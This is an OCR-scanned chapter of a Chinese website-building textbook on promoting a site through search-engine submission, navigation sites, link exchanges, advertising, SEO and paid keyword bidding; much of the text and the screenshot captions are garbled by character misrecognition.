搜索 引擎 一 般 有 自动 收录 功能 ， 网 站 运行 一 段 时 间 以 后 ， 搜 索引 擎 可 能 根据 网 站 的 域名 搜索 到 自 
己 的 网 站 ， 并 且 遍 历 网 站 中 所 有 的 网 页 。 把 网 站 中 的 网 页 进行 分 析 ， 当 用 户 查 找 相关 的 关键 字 时 ， 自 
己 的 网 站 就 可 以 出 现在 搜索 的 结果 中 。 

百度 、 雅 虎 、 人 谷歌、 搜狗 等 著名 搜索 引擎 都 可 以 给 网 站 带 来 大 量 的 流量 。 一 些 较 小 搜索 引擎 ， 如 
一 搜 、 北 大 天 网 等 网 站 也 可 以 给 自己 的 网 站 带 来 一 定 的 流量 。 

但 搜索 引擎 并 不 是 一 定 能 自动 搜索 并 添加 自己 的 网 站 ， 搜 索引 擎 都 有 网 站 手动 添加 功能 ， 需 要 把 
网 站 的 域名 和 相关 信息 手动 添加 到 搜索 引擎 中 。 如 图 18-1 所 示 为 百度 的 搜索 引擎 登录 入 口 。 在 搜索 引 
擎 的 网 站 登录 网 页 中 提交 自己 的 网 站 以 后 ， 搜 索引 擎 会 在 很 短 时 间 内 收录 自己 的 网 站 。 
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Bai 并 百度 网 站 登录 

搜索 帮助 ”百度 推广 ”网 站 登录 百度 首页 

网 站 登录 


， 一 个 免费 登录 网 站 只 需 提交 一 页 (首页 ) ， 百 度 搜索 引擎 会 自动 收录 网 页 。 
”符合 相关 标准 您 提交 的 网 址 ， 会 在 1 个 月 内 按 百度 搜索 引擎 收录 标准 被 处 理 。 


”百度 不 保证 一 定 能 收录 您 提交 的 网 站 。 


《 例 : http://www. baidu. con) 
http:// 
请 输入 验证 码 。 [3EM9 


Google 也 是 最 有 影响 力 的 搜索 引擎 之 一 ， 能 在 谷歌 中 搜索 出 自己 的 网 站 对 网 站 的 推广 有 重要 的 意 
义 。 如 图 18-2 所 示 为 在 谷歌 中 登录 一 个 网 站 。 

有 些 搜索 引擎 在 登录 网 站 时 ， 除 了 填写 网 站 的 名 称 与 URL 外 ， 还 需要 填写 网 站 的 基本 信息 、 分 类 
与 备注 等 。 如 图 18-3 所 示 为 在 搜狐 网 站 中 填写 需要 推广 的 网 站 信息 。 

在 搜索 引擎 的 网 站 中 提交 登录 申请 以 后 ， 搜 索引 擎 会 在 一 个 月 内 收录 这 个 网 站 ， 但 并 不 是 一 定 会 
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收录 这 个 网 站 。 
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网 站 管理 员 了 
增加 您 的 网 站 在 Google 搜索 结果 中 的 展示 率 。 此 服务 


完全 免费 。 


Google 网 站 管理 员工 具 为 您 提供 您 的 同 页 在 Google 上 的 展示 这 的 详 
姻 报告 。 要 开始 使 用 ， 愉 项 添加 并 确认 钨 的 同 站 ， 随 后 即 可 看 到 相关 
信息 。 了 角 详 情 > 


从 Google 的 角度 查看 您 的 网 站 并 发 现 问 是 
查看 Google 如 何 抓 取 网 站 并 编 入 索引 ， 了 币 网 站 访问 过 

程 中 的 具体 问题 的 保持 登 好 
查找 您 的 链接 并 查询 流量 无 法 访问 您 的 帐户 吗 ? 

使 用 新 的 链接 报告 工具 查看 、 分 类 并 下 载 有 关 您 网 站 的 内 


部 和 外 部 树 接 的 全 面 堵 据 。 了 和 解 有 哪些 Google 搜索 查询 
吸引 用 户 访问 网 站 ， 并 确定 用 户 如 何 进入 网 站 。 


图 Internet | 保护 模式: 禁用 


图 18-2 在 谷歌 中 登录 自己 的 网 站 
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图 18-3 在 搜狐 网 站 中 填写 网 站 的 信息 
18.2 导航 网 站 登录 


导航 网 站 是 一 种 专门 用 来 为 访问 用 户 提供 访问 链接 的 网 站 。 在 这 种 网 站 上 ， 有 很 多 网 站 按照 一 定 
的 分 类 排列 在 一 起 ， 用 户 可 以 很 方便 地 根据 网 页 上 的 分 类 找到 自己 所 需要 的 网 站 。 导 航 网 站 的 访问 量 
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常常 很 大 , 可 以 给 网 站 带 来 很 大 的 访问 流量 。 著名 的 网 址 导航 网 站 有 hao123、“265 上 网 导航 ”、“9991 
网 址 大 全 ”等 ， 可 以 向 这 些 网 站 提交 链接 申请 ， 申 请 加 入 自己 网 站 的 名 称 和 链接 。 

用 户 可 以 在 不 同 的 网 址 导航 网 站 中 申请 登录 自己 的 网 站 。 如 图 18-4 所 示 为 在 一 个 网 址 导航 网 站 中 
注册 自己 的 网 站 。 


hacl23 局 地 之 各 5 ) 
Pripy/submi haol23.com/ stafic/ sudnSys /er rem "||s lx en PP 
次 ws | 次 


乱 hecl23 同 直 之 家 -网 站 提交 盘 - 园 -局 响 - mm- 安 28)- IRol- @- ”| 


hao123 


nom ha en [ EE 


上 证人 去 ， 首 P > 网 站 惟 交 将 BRnan| 
所 有 项 均 为 必 汪 项 


推荐 FE: [map 
网 站 名 称 : Ia 


[me 一 和 一 一 -一 一 一 | 
@ ernet EPE a 本 -qi00x ~ 


图 18-4 在 网 址 导航 网 站 中 申请 登录 
18.3 友情 链接 


网 站 上 有 一 些 链接 是 指向 其 他 网 站 的 链接 ， 单 击 这 些 链接 时 会 打开 其 他 网 站 的 网 页 ， 这 种 链接 就 
是 友情 链接 。 如 图 18-5 所 示 是 网 站 中 的 文字 导航 链接 ， 这 种 友情 链接 就 是 在 网 页 的 底部 用 表格 的 方式 
排列 出 需要 链接 的 网 页 。 


友情 链接 1|LINKS 


热 奥运 会 门票 中 国 招聘 谍 武汉 招聘 网 武汉 人 才 市 场 武汉 地 图 人 才 中 国 刘 州 人 才 招聘 网 “广东 招聘 网 
中 国 销售 人 才 网 。 中 国 加 盟 商 网 。。 舟山 人 才 招聘 网 。 百花 人 才 网 富海 人 才 网 绍兴 招聘 网 中 国 分 类 信息 网 文博 人 才 网 华南 人 才 网 
乐清 人 才 网 达州 人 才 网 中 国 招聘 联盟 。 。 羊城 人 才 网 天 空 招聘 网 阿里 站 长 网 杭州 英才 网 


图 18-5 网 页 中 的 文字 友情 链接 


网 页 中 除了 文字 友情 链接 之 外 ， 还 可 以 有 Logo 图 片 导航 链接 ， 这 种 友情 链接 网 站 的 Logo 链接 到 
其 他 站 点 上 ， 制 作 精美 的 Logo 图 片 可 以 吸引 用 户 的 访问 。 如 图 18-6 所 示 为 网 页 中 的 Logo 图 片 友情 
链接 。 

在 网 络 推广 时 ， 可 以 和 不 同 的 网 站 交换 友情 链接 ， 这 样 ， 用 户 在 访问 这 些 网 站 时 可 能 点 击 到 自己 
的 网 站 ， 可 以 给 网 站 带 来 一 些 流量 。 
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在 交换 友情 链接 时 ， 需 要 与 这 些 站 点 进行 联系 。 如 果 是 添加 图 片 链接 ， 需 要 向 这 些 网 站 提供 自己 
网 站 的 Logo 图 片 。 如 图 18-7 所 示 为 在 一 个 网 站 上 申请 交换 友情 链接 。 


申请 友情 链接 
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网 站 简介 
ED Redhiack sandvine 
图 18-6 网 页 中 的 Logo 友情 链接 图 18-7 申请 友情 链接 


18.4 网 络 广 告 


为 了 使 自己 的 网 站 在 短期 内 被 大 量 的 用 户 知道 和 访问 ， 可 以 在 某 些 网 站 上 发 布 网 络 广告 。 用 户 在 
访问 这 些 网 站 时 ， 可 以 点 击 这 些 网 络 广告 链接 到 自己 的 网 站 上 。 

网 络 广告 可 能 是 文字 链接 、 图 片 广告 、 动 画 广告 、 弹 出 式 广告 等 形式 。 如 果 是 图 片 、 动 画 等 形式 
的 广告 ， 就 需要 有 较 好 的 广告 创意 ， 能 给 用 户 留 下 很 深 的 印象 ， 并 吸引 用 户 点 击 。 

大 网 站 的 访问 量 大 ， 在 大 门户 网 站 上 投放 网 络 广告 会 对 自己 的 网 站 有 很 好 的 推广 效果 。 这 些 网 络 
网 站 的 收费 可 能 是 计时 或 是 计 次 的 。 如 果 是 计 次 的 网 络 广告 ， 广 告 服 务 器 会 统计 广告 的 有 效 点 击 次 数 
然后 根据 这 些 有 效 点 击 次 数 进行 广告 费用 结算 。 如 图 18-8 所 示 为 IT168 网 站 中 的 网 络 广告 。 这 种 网 络 
广告 借助 于 网 站 巨大 的 点 击 量 ， 用 户 在 浏览 网 页 时 可 能 点 击 访问 这 些 广告 。 


图 18-8 IT168 网 站 中 的 网 络 广告 


18.$ 发布 信息 推广 


在 网 站 中 有 很 多 自由 发 布 信息 的 空间 ， 如 留言 板 、 论 坛 、 博 客 等 ， 都 可 以 自由 发 布 各 种 信息 。 用 
户 在 查看 这 些 信息 时 ， 可 能 打开 这 些 信息 中 留 下 的 网 站 或 链接 。 

在 进行 网 站 推广 时 ， 可 以 在 相关 网 站 留言 板 中 留言 ， 留 下 网 站 相关 的 信息 。 对 于 供求 类 网 站 ， 可 
以 在 网 站 上 发 布 自己 网 站 的 产品 信息 和 供求 信息 ， 并 添加 上 自己 网 站 的 链接 。 用 户 在 查看 这 些 信息 时 
可 能 会 浏览 自己 的 网 站 。 

博客 或 论坛 常常 有 大 量 的 用 户 ， 而 且 有 很 多 用 户 访问 发 布 的 信息 ， 所 以 ， 论 坛 或 博客 对 网 站 推广 
有 很 大 的 作用 。 可 以 在 博客 的 网 站 上 开设 一 个 和 网 站 信息 相关 的 博客 ， 经 常 发 布 一 些 与 网 站 信息 相关 
的 产品 、 图 片 等 内 容 ， 并 积极 参 于 博客 或 论坛 的 交流 ， 在 发 布 的 内 容 中 加 入 自己 网 站 的 信息 ， 这 样 可 
以 带 来 一 定 的 网 站 点 击 量 。 

如 图 18-9 所 示 为 一 个 医药 公司 的 企业 博客 。 在 企业 博客 中 ， 重 点 推广 企业 的 产品 和 服务 。 博 客 网 
站 中 有 巨大 的 访问 量 ， 并 且 有 各 行业 的 企业 博客 分 类 。 用 户 在 访问 博客 时 ， 会 有 针对 性 地 访问 企业 博 
客 ， 给 企业 博客 带 来 访问 量 。 


lo EE we tL He i lt | 


Li cc 
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博客 日 报 博客 日 扫 本 人 办 天 下 闲事 大 字 交 中 企 博 商学 院 网 各 营 消 专家 对 
有 201' 年 11 月 6 昌 星 类 日 总 第 2104 其 坊 天 发行 10 师 已 有 多 位 专家 加 归 企 情商 学院 ， 诚 攻 


a 呼吁 各 国 增 长 兼顾 平衡 传统 企业 开 开 
胡 镀 青 与 奥地利 总 流 会 次 奥巴马 会 谈 胡 勿 青 会 见 国际 货币 基 多 组织 总 裁 上 市 、 融 资 、 扩 引 等 名 种 好 消息 ， 不 


管理 | 才 扩 I0 朋 生 提 “结果 ' 过 程 ” 。 党 销 | 开户 可 从 和 此 大汉 入手 eer aed 


上 


| 2 


图 18-9 某 医药 公司 的 企业 博客 


18.6 传统 媒体 广告 


传统 广告 的 形式 被 绝 大 多 数 群体 所 接受 ， 广 告 的 覆盖 面 广 ， 影 响 力 大， 会 对 网 站 的 推广 有 很 好 的 
效果 。 网 站 完成 以 后 ， 可 以 选择 报纸 、 电 视 、 公 交 广 告 、 公 交 站 牌 广告 、 街 道 广告 等 形式 ， 对 自己 的 
网 站 进行 有 针对 性 的 推广 与 宣传 。 如 果 是 针对 购物 网 站 、 公 司 产品 推广 网 站 ， 这 种 有 针对 性 的 广告 推 
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广 可 以 在 短 时 间 内 取得 较 好 的 广告 回报 收益 。 如 图 18-10 所 示 为 公交 车 上 的 某 招聘 网 站 广告 ， 这 种 传 
统 广告 对 网 站 的 推广 有 很 大 的 作用 。 
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图 18-10 公交 车 上 的 某 招聘 网 站 广告 


18.7 网 站 排名 


一 个 网 页 被 用 户 访问 ， 很 多 都 是 来 源 于 用 户 在 搜索 引擎 上 查找 到 了 这 个 网 站 。 因 此 ， 一 个 网 站 在 
搜索 引擎 上 可 以 很 容易 被 搜索 到 并 且 常 排 在 搜索 结果 的 前 面 ， 这 对 网 站 的 推广 有 重要 作用 。 所 以 ， 在 
设计 网 站 时 ， 需 要 考虑 到 网 站 是 否 容易 被 搜索 引擎 收录 ， 要 针对 搜索 引擎 做 一 定 的 设计 与 优化 。 


18.7.1 网 页 中 的 内 容 影响 网 络 排名 的 因素 


首先 ， 一 个 网 站 应 该 是 面向 用 户 服务 的 ， 而 不 是 面向 搜索 引擎 收录 的 。 一 个 网 站 容易 被 访问 的 用 
户 接受 的 话 ， 也 一 定 很 容易 被 搜索 引擎 收录 。 
在 网 页 上 ， 需 要 针对 搜索 引擎 做 一 些 优化 ， 例 如 ， 对 tile、keywords 等 内 容 进 行 一 定 的 设置 ， 更 
能 增加 被 搜索 引擎 收录 的 机 会 。 但 是 ， 如 果 网 页 中 没有 多 少 对 用 户 有 效 的 内 容 ， 只 是 针对 搜索 引擎 做 
各 种 优化 ， 搜 索引 擎 可 能 认为 这 个 网 页 在 故意 作 次 ， 可 能 会 排除 这 些 网 页 。 在 网 页 中 ， 需 要 注意 影响 
搜索 引擎 对 网 页 收录 的 因素 。 
回 ”搜索 引擎 更 容易 收录 网 站 原创 的 内 容 ， 如 果 网 页 中 的 内 容 一 味 地 复制 粘贴 ， 全 部 来 自 于 网 络 ， 
搜索 可 能 认为 这 些 网 页 是 无 效 内 容 而 不 会 收录 。 
回 ”网 站 必须 有 实际 的 内 容 ， 而 且 这 些 内 容 应 该 是 文字 内 容 。 搜 索引 擎 是 无 法 读 取 网 站 上 的 图 片 、 
Flash 内 容 的 ， 也 就 无 法 收录 这 些 内 容 。 网 站 上 的 文字 内 容 最 容易 被 搜索 引擎 收录 。 
回 ”网 站 的 导航 条 最 好 不 要 使 用 Flash、JavaScript 等 技术 ， 最 好 使 用 文本 链接 。 搜 索引 擎 更 容易 
读 取 这 些 链接 和 收录 这 些 链接 下 的 内 容 。 
回 图片 可 以 加 上 <alp> 标 签 , 在 alt 里 加 上 关键 词 。 这 样 ， 搜索 引擎 才 可 以 对 网 站 中 的 <alf> 标 签 进 
行 收 录 ， 进 而 可 以 搜索 出 这 些 图 片 的 关键 词 。 
回 ”最 好 能 保证 每 个 网 页 有 不 同 的 标题 。 标 题 是 搜索 引擎 收录 网 站 的 重要 因素 ， 多 种 网 站 标题 可 
以 增加 网 站 被 查找 出 的 机 会 。 
回 ”每 个 页 面 的 描述 和 关键 词 也 尽量 不 要 相同 。 描 述 和 关键 词 应 该 符合 该 页 面 ， 不 要 用 一 些 不 相 
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关 的 关键 词 ， 页 面 出 现 关键 词 必须 合理 。 

做 好 网 站 地 图 ， 这 样 有 利于 搜索 引擎 收录 网 站 中 所 有 的 网 页 。 

与 相关 的 网 站 交换 友情 链接 ， 链 接 的 文本 中 最 好 有 关键 词 。 搜 索引 擎 可 能 从 那些 网 站 的 链接 
中 收录 自己 的 网 站 。 


18.7.2 在 ALEXA 网 站 中 查询 自己 网 站 的 排名 


ALEXA 是 当前 数量 最 庞大 、 排 名 信息 最 详细 的 网 站 。 用 户 可 以 通过 ALEXA 网 站 对 所 有 网 站 的 排 
名 情况 进行 查询 与 分 析 。 

ALEXA 的 主要 功能 是 查询 到 一 个 网 站 在 世界 范围 内 的 排名 。 在 ALEXA 首页 的 框 内 输入 一 个 网 站 
的 URL， 即 可 查询 到 以 下 网 站 访问 与 排名 信息 。 


加 回 


回 ”该 网 站 的 访问 信息 : 流量 排名 、 用 户 量 及 网 页 访问 数 。 
访问 该 网 站 的 用 户 还 访问 了 哪些 相关 网 站 。 
回 “该 网 站 的 联系 方式 。 
回 ”用户 对 该 网 站 的 评论 。 
网 站 的 首页 缩 略 图 。 
如 图 18-11 所 示 为 在 ALEXA 网 站 中 查询 一 个 网 站 的 访问 量 等 信息 。 
eo 
人 99ewish com has atraffic rank al5 
号 TT 二 二 of 5,179,092 
时 = 三 四 
Company Info for 999wish .com' 
haochenglong 
Phone: 13971011324 430077 
bos Gate NaToobar ， Edit gbowish com contact nta 
ee RN 
Site Stats for 999wish.com:; 
Share your thoughts * 999wish com has 3 trafic rank of 5,474,032 ($6,536,526) 


Emai a fiend abou ， Speed Notavailale ® 
EE » Other sites that ink to this site: 20 


* Onlne Snca: 10-Jan-2005 


图 18-11 在 ALEXA 网 站 中 查询 网 站 的 信息 
在 这 个 查询 结果 中 ， 可 以 看 到 网 站 的 世界 范围 访问 排名 、 网 站 的 联系 方式 、 网 站 的 访问 速度 、 网 


站 建设 时 间 等 内 容 。 
单 击 Traffic Details 链接 ， 即 可 看 到 网 站 访问 的 详细 信息 。 如 图 18-12 所 示 为 网 站 在 各 个 时 间 段 的 
访问 比例 的 曲线 和 数据 。 


在 ALEXA 中 还 可 以 查 出 具体 某 几 天 的 网 站 访问 人 数 ， 每 次 访问 点 击 多 少 个 网 页 等 信息 。ALEXA 
会 详细 记录 这 些 信息 的 单位 时 间 变 化 情况 ， 如 图 18-13 所 示 。 

ALEXA 网 站 访问 量 的 统计 信息 很 全 面 , 但 对 普通 用 户 来 说 还 无 法 分 析 和 理解 这 些 数据 , 某 些 网 站 
提供 了 ALEXA 网 站 排名 的 分 析 工 具 。 如 图 18-14 所 示 为 某 网 站 的 ALEXA 数据 分 析 工 具 。 网 页 中 已 经 
对 查询 出 的 结果 进行 了 再 次 分 析 与 列表 ， 非 常 方便 。 
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图 18-12 网 站 的 详细 访问 信息 
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图 18-13 ALEXA 中 统计 的 不 同时 间 访 问 情 况 变化 
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图 18-14 “中 国 站 长 ”网 站 中 的 ALEXA 分 析 工具 


第 18 齐 “网 站 的 宣传 准 F 


这 些 网 站 中 的 查询 工具 还 有 许多 其 他 功能 。 如 图 18-15 所 示 是 利用 搜索 引擎 的 反 向 链接 查找 功能 ， 
查找 出 每 个 搜索 引擎 收录 了 网 站 中 的 多 少 网 页 。 


请 往 入 委 查 鹿 的 同志 ; HTTPJ |http: /www.999wish-com [查询 | 
隐 到 狗 区 百度 也 雅虎 区 MSN 民 撞 狗 克 中 搜 区 50SO 区 TOM 厂 全 先 


随机 推荐 : [ PR 查询 | 关键 河 排 名 | Ip 定 位 查询 1 ]S/VBS 加 密 ] 


>> 网 站 http://www.999wish,com 搜索 引擎 收录 查询 结果 << 


网 站 http://www.999wish.com 在 GOOGLE 上 的 被 收录 情况 查询 
查询 站 点 收录 数量 靳 走时 间 查看 详细 
www,999wish,com 7,410 页 420 MS 查看 详细 资料 


网 站 http;//www.999wish,com 在 百度 上 的 被 收录 情况 查询 
查询 站 点 收录 数量 畦 费时 间 查看 详细 
Www,999wish com 89,300 页 72MS 查看 详细 资料 


网 站 http;//www.,999wish,com 在 改 虎 上 的 被 收录 情况 查询 
查询 站 点 收录 数量 轩 和 时 间 查看 详细 


汰 据 加 载 中 
网 站 http;//www.999wish,com 在 MSN 上 的 补 收 录 稍 况 查询 
查询 站 点 收录 数量 用 费时 间 查看 详细 


~ En 


图 18-15 ”查看 搜索 引擎 对 网 站 的 收录 情况 
18.8 ”网 站 竞价 排名 


在 网 站 设计 时 ， 可 以 对 网 站 的 内 容 和 关键 词 进 行 优化 ， 使 网 站 尽 可 能 地 排列 在 搜索 结果 的 前 面 。 
但 是 ， 这 种 优化 有 很 大 的 不 确定 性 ， 并 不 能 一 定 保证 网 页 在 搜索 结果 中 排列 到 一 个 好 的 位 置 。 当 很 多 
用 户 都 使 用 这 种 搜索 优化 时 ， 网 页 关键 字 的 优化 就 不 具有 明显 的 作用 了 。 这 时 ， 需 要 在 搜索 引擎 运营 
商 那 里 付费 竞价 排名 ， 以 这 种 有 偿付 费 的 方式 使 自己 的 网 站 在 搜索 结果 中 排列 在 前 面 。 

在 进行 竞价 推广 时 ， 需 要 有 针对 性 地 选择 关键 字 。 根 据 一 般 用 户 的 习惯 ， 分 析 用 户 在 自己 的 需求 
下 可 能 使 用 哪些 关键 字 ， 然 后 与 搜索 引擎 代理 商 联 系 ， 订 购 这 些 关 键 字 。 这 些 服 务 一 般 使 用 刷卡 或 网 
上 银行 的 方式 进行 远程 支付 。 

竞价 排名 一 般 是 按 网 站 用 户 通 过 搜索 引擎 对 自己 网 站 的 有 效 点 击 次 数 计 费 的 。 运 营 商 会 定期 计算 
网 站 的 有 效 搜索 点 击 次 数 以 进行 计 费 和 结算 。 

在 搜索 引擎 中 搜索 某 一 个 关键 字 。 如 果 搜 索 结果 的 末尾 有 “品牌 推广 ”4 个 字 ， 则 这 些 搜索 结果 是 
被 那些 网 站 做 竞价 推广 的 ， 如 图 18-16 所 示 。 

在 搜索 引擎 中 做 竞价 推广 ， 如 果 使 用 更 高 的 推广 价格 ， 就 可 以 使 自己 的 网 站 排列 在 当前 推广 结果 
的 前 面 。 使 用 相应 的 推广 价格 会 排列 在 搜索 引擎 结果 的 相关 位 置 ， 这 时 就 需要 查找 某 一 个 关键 字 在 搜 
索引 擎 中 的 推广 价格 。 如 图 18-17 所 示 可 以 查找 出 一 个 关键 词 的 推广 排名 价格 。 

这 里 的 综合 排名 指数 就 是 当前 的 推广 排名 价格 。 用 户 在 竞价 推广 时 需要 考虑 到 自己 的 产品 情况 与 
实际 投资 意向 来 确定 自己 的 推广 排名 价格 。 

9) 
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六 南岳、 六 下 国 名 于 * 小 人 克 攻 写 本 ,05 和 分 扩 半 关 灾 了 儿 全 


ee 开 司 儿 重 和 用 到 时代 
ke cn 20115 - 避 记 闪 广 
[E23 
作 研 星 肝 时 区 四 ? ri ES 
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0 5 伏 分 隔 旬 法， Tr 政 血 如 入 小 忆 训 乐 轩 
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rw qike cn/ 20114.19 - 百 康佳 险 
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图 18-16 ”搜索 引擎 中 推广 的 关键 字 
请 输入 您 要 查询 的 关键 字 


当前 排名 : 第 1 名 
网 站 名 称 ; eLong 过 行 网 北京 酒店 
http://limk. decideinteractive. con/n/12957/12989/elong. com/6yqe63;11:3:; fni;1134; ;aatmm; ;; ;1;/i/c?0Apa=% 
VRL 地 址 : 2fredirectXofredirectX2easpxX3frX3dDai duPai ty26fX3d69X26uX3dhttpX253AXCS2FX252FwwwX2S2EelongX2S2Fcon% 
252Fhotei tiesg252Fbeijingy252Easpx 
综合 排名 指数 : 2. 38 


当前 排名 : 第 2 名 
网 站 名 称 : 金 那 免费 预订 "十 一 “特价 北京 酒店 
VRL 地 址 : http:/An bj010. com 

综合 排名 指数 : 2. 07 


当前 排名 : 第 3 名 
网 站 名 称 ; 返 6-10% 现 金 北京 酒店 预定 4008103337 思 恩 源 
VBL 地址: http://wm. sny en 
饼 合 排名 指数 : 2.05 
当前 排名 : 第 4 名 
网 站 名 称 : 北京 酒店 : 万 豪 国际 酒店 集团 欢迎 你 
http://ad doubleclick net/clk:134068285:;20050043; q? 
VRL 地 址 : http://marriott. com. cn/Channels/elobalSites/findReserve/findHotel. mi9country=CHINAhppc=ecint_baido_cnr 


corehvpckey=hotels-inrbeijinghvpccat=destinationrcnrsupport 
过 生 址 口 to 是 nn 


图 18-17 查找 一 个 关键 字 的 当前 推广 价格 


用 户 在 搜索 引擎 服务 商 网 站 中 注册 一 个 用 户 名 以 后 就 可 以 推广 自己 的 关键 字 了 。 如 图 18-18 所 示 ， 
用 户 填写 自己 的 关键 字 与 网 页 的 相关 信息 ， 提 交 以 后 就 可 以 对 这 一 关键 字 的 网 页 进行 推广 。 

用 户 需 要 填写 多 个 推广 关键 字 ， 然 后 在 关键 字 列表 中 对 不 同 的 关键 字 进 行 设置 。 

在 关键 字 设 置 列表 中 ， 用 户 选 择 需要 设置 的 关键 字 ， 设 置 需要 推广 的 单价 ， 所 设置 的 推广 单价 决 
定 在 搜索 排名 中 的 位 置 。 如 果 有 出 更 高 推广 单价 的 用 户 ， 则 会 使 自己 的 搜索 结果 自动 向 后 排列 。 


第 18 章 


关键 字 填 写 举例 
关键 字 : 手机 当前 竟 价 价格 : 竺 0.34 元 
标题 : 同上 手机 销售 中 心 URL: http://mr. somewhere com/ 


网 页 接 述 : 国内 网 上 手机 信息 集 获 地 ,汇集 摩托 罗拉 诺基亚 、 西 门 子 、 爱 立信 以 及 其 它 品牌 的 
各 种 手机 ， 品 种 紫 多 ,价格 低 康 。 


请 悠 继续 提交 关键 字 : 〔 注 : 提交 更 多 关键 字 并 不 需要 您 付出 更 多 的 费用 ) 点 此 查看 竞价 排名 关键 字 审 核 标准 


特别 提示 : 请 尽量 在 网 站 标题 或 网 页 撕 述 中 包 合 您 提交 的 关键 字 ， 这样 可 以 有 效 提高 点 击 率 。 
车 提交 的 关键 字 与 网 站 标题 和 网 页 扒 述 相关 性 不 够 ,该 关键 字 格 无 法 通过 审核 


Im me 
将 关键 字 添 加 到 如 下 分 粗 中 [RF 可 点 击 这 里 进行 关键 字 分 组 管理 
关键 字 所 永 汀 后 到 智能 [OE 
网 页 标 题 。 于 京 天 测 后 最 多 20 字 


MEL 地 址 http:y/|www jobn cn 最 多 243 字 节 
网 页 六 述 。” 开 京 天 两 启 , 欢 邓 未 的 匹 师 - E 
(oo 字 内 ) 司 


槛 制 | 把守 可 格 上 个 添加 框 内 填写 的 内 容 复制 下 个 添加 框 内 
图 18-18 添加 推广 关键 字 


如 果 选 择 “ 自 动 ”竞价 方式 ， 则 会 根据 用 户 所 需要 的 排名 自动 填写 排名 价格 ,这些 设置 如 图 18-19 
所 示 。 


设置 价格 
提交 关键 字 流程 : 填写 标题 描述 ~ 设置 价格 一 确认 和 提交 一 成 功 
您 一 次 最 多 可 以 提交 20 个 关键 字 ， 若 您 项 户 继续 添加 ,请 分 次 提交 《 您 已 经 提交 了 0 个 关键 字 》 点 此 查看 党 价 排名 关键 闻 审 核 标 从 


特别 提示 : 
1. 自动 竞价 模式 下 ， 点 击 价格 不 会 超过 竞价 价格 ; 在 手动 竞价 模式 下 ， 点击 价 格 等 于 竞价 价格 。 
2. 系统 推荐 价格 格 按照 选择 的 排名 自动 为 您 推荐 价格 。 该 功能 仅 是 一 种 辅助 工具 ,并 不 保证 实际 排名 与 选择 排名 完全 相符 ， 使 用 时 请 确认 后 再 提交 。 


关键 字 信 息 关键 字 价格 设置 关键 字 当 前 情况 
厂 序号 关键 字 。 起价 竞价 模式 /竞价 价格 竞 前 三 名 ”质量 度 。 。 前 三 名 综合 排名 指数 
区 1 ， 北京 酒店 0.45 冶 司 .0%5 厅 推荐 价格 党 123 名 10 2.38 2.07 2.05 了 加 
设 为 首位 | 
上 一 步 1 下 一 步 1 


图 18-19 用 户 对 关键 字 的 推广 进行 设置 


搜索 引擎 的 竞价 排名 采用 的 是 先 交 费 ， 后 使 用 的 方式 。 

用 户 在 注册 与 设置 搜索 排名 后 ， 需 要 按 服务 商 指定 的 方式 交 费 。 确 定 交 费 以 后 ， 用 户 的 账户 信息 
上 会 显示 用 户 的 账户 金额 。 

搜索 排名 的 账户 是 按 次 计 费 的 。 在 进行 一 次 有 效 的 搜索 排名 之 后 ， 用 户 的 账户 上 会 立即 扣除 这 一 
次 排名 的 费用 。 

用 户 可 以 实时 查看 自己 的 账户 金额 与 所 设置 关键 字 的 排名 情况 。 对 不 同 的 关键 字 可 以 根据 排名 效 
果 进 行 价格 或 设置 的 调整 ， 如 图 18-20 所 示 。 


本 从 与 网 站 建设 技术 让 


日 志 统 计 报告 
关于 帐号 的 一 些 统计 信息 
您 的 帐号 总 投资 客 已 消费 全 阁 帐 面 利 人 全 策 
xuleil143 旦 0.00 元 时 0.00 元 时 0.00 元 
生效 日 其 现 有 关键 字 个 灼 生 次 关键 守 个 数 总 点 击 次 数 
时 间 未 知 共 0 个 共 0 个 共 0 次 


请 选送 您 希望 查看 的 统计 报 骨 类 型 及 时 间 段 ( 注 : 点 击 栏目 名 称 即 可 控 该 项 目 排序 ， 且 可 在 磊 序 与 送 序 之 间 切 的 》 


[上 人 "At [m7 司 千 [5 司 A[ 悦 9 至 [27 司 千 [5 司 4[ 司 B 下 有 六 


人 分 日 统计 报关 分 日 分 关键 闻 统 计 报 阁 
个 关键 字 台 统计 报关 个 指定 关键 字 生 威 报告 
人 分 日 分 姐 统计 报 省 人 指定 分 姐 名 


18-20 ”搜索 引擎 中 的 用 户 账户 管理 页 面 
18.9 常见 问题 


在 网 站 推广 时 ， 需 要 把 网 页 中 的 内 容 针 对 搜索 引擎 做 一 定 的 设置 和 优化 ， 网 页 的 代码 对 搜索 引擎 
的 排名 具有 重要 的 作用 。 本 节 讲 述 一 些 与 之 相关 的 经 验 和 技巧 。 


18.9.1 网 站 中 关键 字 的 优化 问题 


网 站 中 的 某 些 内 容 需 要 针对 搜索 引擎 进行 一 定 的 优化 ， 在 优化 时 ， 要 有 一 定 的 技巧 。 

回 在 title 栏 中 ， 关 键 字 的 出 现 次 数 不 能 大 于 2， 可 以 有 一 些 简单 的 描述 ， 但 不 能 是 单纯 的 关键 
字 堆 砌 。 多 次 重复 关键 字 可 能 被 搜索 引擎 认为 是 作 浆 。 

加 ”meta 中 的 description 及 keywords 设置 中 ， 关 键 字 的 次 数 最 好 不 要 超过 2 一 3 次 ， 对 于 多 次 重 
复 的 情况 ， 搜 索引 擎 可 能 拒绝 收录 。 

加 不同 的 搜索 引擎 在 进行 关键 字 收 录 时 ， 可 能 有 不 同 的 标准 ， 这 时 需要 针对 不 同 的 搜索 引擎 进 
行 关键 字 优化 。 


18.9.2 ”搜索 引擎 拒绝 收录 自己 网 站 的 问题 


某 些 网 站 ， 可 能 很 长 时 间 以 后 搜索 引擎 还 没有 收录 网 站 中 的 任何 网 页 ， 那 么 这 个 网 站 就 可 能 被 搜 
索引 擎 拒绝 收录 了 。 有 很 多 原因 可 能 导致 自己 的 网 站 被 搜索 引擎 拒绝 收录 。 
网 站 中 可 能 有 太 多 的 内 容 从 网 络 上 获取 ， 搜 索引 擎 可 能 认为 网 站 上 的 内 容 是 无 效 的 内 容 。 
网 站 上 的 优化 行为 可 能 被 搜索 引擎 认为 这 个 网 站 是 故意 针对 搜索 引擎 的 收录 进行 作弊 。 
网 站 上 可 能 存在 被 搜索 引擎 认为 不 健康 、 不 合法 的 内 容 。 
网 站 上 的 友情 链接 可 能 链接 到 有 不 健康 、 不 合法 内 容 的 网 站 。 
运行 网 站 的 服务 器 可 能 存在 被 搜索 引擎 认为 不 合法 、 不 文明 的 网 站 。 
网 站 可 能 没有 取得 备案 号 。 


但 
因 因 办 办 加 


= vs muaSGRE 


